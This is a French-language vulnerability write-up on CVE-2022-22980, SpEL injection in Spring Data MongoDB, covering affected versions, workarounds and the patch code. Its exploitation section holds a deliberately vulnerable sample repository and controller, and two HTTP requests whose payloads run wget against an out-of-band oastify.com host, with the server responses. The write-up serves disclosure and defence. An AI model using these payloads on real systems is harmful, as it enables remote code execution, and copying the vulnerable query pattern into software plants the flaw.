
[CVE-2022-22980] Spring Data MongoDB SpEL Expression Injection
[CVE-2022-22980] Injection d'expression SpEL dans Spring Data MongoDB
MongoDB est une base de données NoSQL orientée documents, scalable et flexible, utilisée pour le stockage de données à volume élevé. Au lieu d'utiliser des tables et des lignes comme dans les bases de données relationnelles traditionnelles, MongoDB utilise des collections et des documents. Les documents sont constitués de paires clé-valeur, qui sont l'unité de base des données dans MongoDB.
Spring Data for MongoDB fait partie du projet parapluie Spring Data, qui vise à fournir un modèle de programmation familier et cohérent basé sur Spring pour les nouveaux magasins de données tout en conservant les fonctionnalités et capacités spécifiques au magasin. Le projet Spring Data MongoDB fournit une intégration avec la base de données documentaire MongoDB. Les principaux domaines fonctionnels de Spring Data MongoDB sont un modèle centré sur les POJO pour interagir avec une DBCollection MongoDB et écrire facilement une couche d'accès aux données de type Repository.
Le 20 juin 2022, VMware a publié un avis de sécurité sur son site officiel concernant une vulnérabilité d'injection d'expression SpEL (menant à une exécution de code à distance) affectant Spring Data MongoDB. Vous trouverez des informations détaillées sur la vulnérabilité CVE-2022-22980 ci-dessous.
Vulnérabilité
Une application Spring Data MongoDB est vulnérable à l'injection SpEL lorsqu'elle utilise des méthodes de requête annotées avec @Query ou @Aggregation avec des expressions SpEL contenant des espaces réservés de paramètres de requête pour la liaison de valeurs si l'entrée n'est pas assainie. De plus, les configurations qui exposent des méthodes de requête de référentiel sans impliquer de code applicatif supplémentaire (comme Spring Data REST) sont également vulnérables.
Plus précisément, une application est vulnérable lorsque toutes les conditions suivantes sont réunies :
@Query ou @Aggregation qui utilisent SpEL (Spring Expression Language) et utilisent des références de paramètres d'entrée (?0, ?1, …) dans l'expression SpELUne application n'est pas vulnérable si l'une des conditions suivantes est vraie :
QueryMethodEvaluationContextProvider qui limite l'utilisation de SpELVersions affectées
Spring Data MongoDB 3.4.0, 3.3.0 à 3.3.4, et les versions antérieures sont affectées par la vulnérabilité CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection.
Statut
Spring Data MongoDB 3.4.1 et 3.3.5, qui contiennent les correctifs, ont été publiés.
Atténuation et solutions de contournement suggérées
La réponse préférée est de mettre à jour vers Spring Data MongoDB 3.4.1 et 3.3.5 ou une version ultérieure. Si vous avez fait cela, aucune solution de contournement n'est nécessaire. Cependant, certains peuvent être dans une position où la mise à niveau est impossible à faire rapidement. Pour cette raison, l'équipe Spring a fourni quelques solutions de contournement ci-dessous.
Utiliser la syntaxe de tableau : si l'application nécessite des expressions SpEL dynamiques contrôlées par l'entrée utilisateur, alors réécrivez les déclarations de requête ou d'agrégation pour utiliser des références de paramètres ([0] au lieu de ?0) dans l'expression.Implémenter une méthode de référentiel personnalisée : Remplacer l'expression SpEL par une implémentation de méthode de référentiel personnalisée est une solution de contournement viable pour assembler votre requête dynamique dans le code de l'application. Référez-vous à la documentation de référence sur la personnalisation du référentiel pour plus de détails.Analyse du correctif : Problème GitHub et commits associés
Le problème GitHub pour la vulnérabilité d'injection SpEL est accessible depuis github.com/spring-projects/spring-data-mongodb/issues/4089.
Grâce aux deux commits ci-dessous, la vulnérabilité associée a été corrigée.
Avec ces commits, la classe spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java a été ajoutée.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

La classe spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java a également été modifiée comme suit :

La version finale (corrigée) de la classe spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java est la suivante :
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
Et grâce au réarrangement de la classe ParameterBindingJsonReader.java, cela a garanti que le type de paramètre est préservé lors de la liaison des paramètres utilisés dans la valeur de l'annotation Query ou Aggregation. Vous pouvez voir les modifications du commit sur la classe ParameterBindingJsonReader.java dans les captures d'écran ci-dessous :



Étapes d'exploitation
Avant d'expliquer les étapes d'exploitation, la classe UserRepository.java de l'exemple de projet vulnérable (utilisant l'annotation @Query) est illustrée comme suit :
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
La classe de contrôleur d'exemple UserController.java qui importe l'espace de noms com.example.mongodb.repository.UserRepository est également illustrée comme suit :
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
Requête et réponse d'exploitation
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

Pour plus d'informations sur la correction de cette vulnérabilité, veuillez consulter les ressources suivantes :
Crédits :